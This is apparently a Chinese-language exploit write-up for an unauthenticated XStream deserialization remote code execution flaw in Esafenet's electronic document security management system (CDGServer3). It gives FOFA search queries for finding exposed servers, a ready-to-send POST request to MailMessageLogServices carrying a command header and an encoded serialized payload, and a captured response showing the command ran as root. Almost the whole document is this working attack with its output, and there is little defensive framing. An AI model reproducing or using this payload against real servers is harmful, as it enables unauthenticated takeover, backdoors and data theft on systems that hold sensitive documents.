

Y5-18亿赛通-电子文档安全管理系统-反序列化RCE

漏洞描述：

某赛通电子文档安全管理系统 多处接口处存XStream反序列化远程代码执行漏洞，未经身份验证的攻击者可通过该漏洞在服务器端任意执行代码，写入后门，获取服务器权限，进而控制整个web 服务器。

网站图片：



网络测绘：

fofa语法：

body="CDGServer3" || title="电子文档安全管理系统" || cert="esafenet" || body="/help/getEditionInfo.jsp"

漏洞复现：

payload:

```
POST /CDGServer3/MailMessageLogServices?command=GETSYSTEMINFO HTTP/1.1
Host: your-ip
User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36
Accept-Encoding: gzip, deflate, br
Connection: close
Content-Type: text/xml
cmd: whoami
```

NNLINELBIIKEOGPIFLNMHPIPNNOHFNECLEHKBCIHFHFCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDDAACABKCKIAEMBOIBGPMNEIPJAOGBILDKMLDGAENLPABKFFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHNPONIODEGNCPIGDFMGMDPONMEDIJNFKDCHBFF

效果图：

Request

1 POST /CDGServer3/MailMessageLogServices?command=GETSYSTEMINFO HTTP/1.1

2 Host: .

3 User-Agent: Mozilla/5.0 (Windows NT 6.4; WOW64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2225.0 Safari/537.36

4 Accept-Encoding: gzip, deflate, br

5 Connection: close

6 Content-Type: text/xml

7 cmd: whoami

8

9 NNLINELBIIKEOGPIFLNMHPIPNNOHFNECLEHKBCIHFHFCMONPDPHOHMONIOCNLPBOKNAEEBHFCIFNMDDAACABKCKIAEMBOIBGPMNEIPJAOGBILDKMLDGAENLPABKFFPFELKLGCEBMBMNKOIBMPHCIODCCEHOKPCEDHNPONIODEGNCPIGDFMGMDPONMEDIJNFKDCHBFFMFGBDOIOAHLNOMNMBJABECIOEHKAPJCBIDJHKAMAGEELEHJEEIDBDILILANAKCIIGLDDDDMOPNCGNLPOMMIGCEFEFEBIMDHFAGLHIDHPJCHAEHFPNNHJGJKJDCINLAHOAPCDJNIABODKBFABJMFIEMLPGGKNNNFCABHCOEOHCBOFGBBPLKPHLLNOCJAKJDJPOEPBEKKPHOPBHFJLNOGLABIJHIBOFFCPCLPAGLCEAONCAGIJFAEFOLKOLENNHFBQJIAOFJKBFGMGNKBEECKKJPCECMFKPPPKEGOIOBHIBIBAGBIKAMOLFLEKODMMHGJOCEPEBNIHPFKEKKMCENNPHEODFNIOPMHFPNPFJIEEJPPINGPKHDOACKEEJACLCKOKIPFHHECFDFJNMIFNGHLCOFLPDACOOALCNKBOEBPNPKCKKNJJJJANLFPKGLGINAIOADJNHAEDLBNONDJHPFELIJMNLHMEMBFGOHELCDBFHIFALDIIMBFEOHNNHBOIOMLCJCKPHJPNDLPHDDCFJNMKGDMIEINHIDLEGMOCNADAHOMPPJFFBPFCHAPPIDAIAILKODLCALBBJNPGCLPKPIEOL EOMKEMBLMLBEGKNGCOKOFIPBCFAAHGCIIMCAKFFLFIBDHCDFHMKKNDHLCGIMNMKMBJGDIDJMMGEDEGNJDNNEKFDMEAHMILDKIFB

Responses

https

5bytes / 95ms

1 HTTP/1.1 200

2 Set-Cookie: JSESSIONID=2531633E7F397BE6E241

3 HttpOnly

4 Content-Type: text/html; charset=utf-8

5 Date: Wed, 31 Jan 2024 15:28:00 GMT

6 Connection: close

7 Content-Length: 5

8

9 root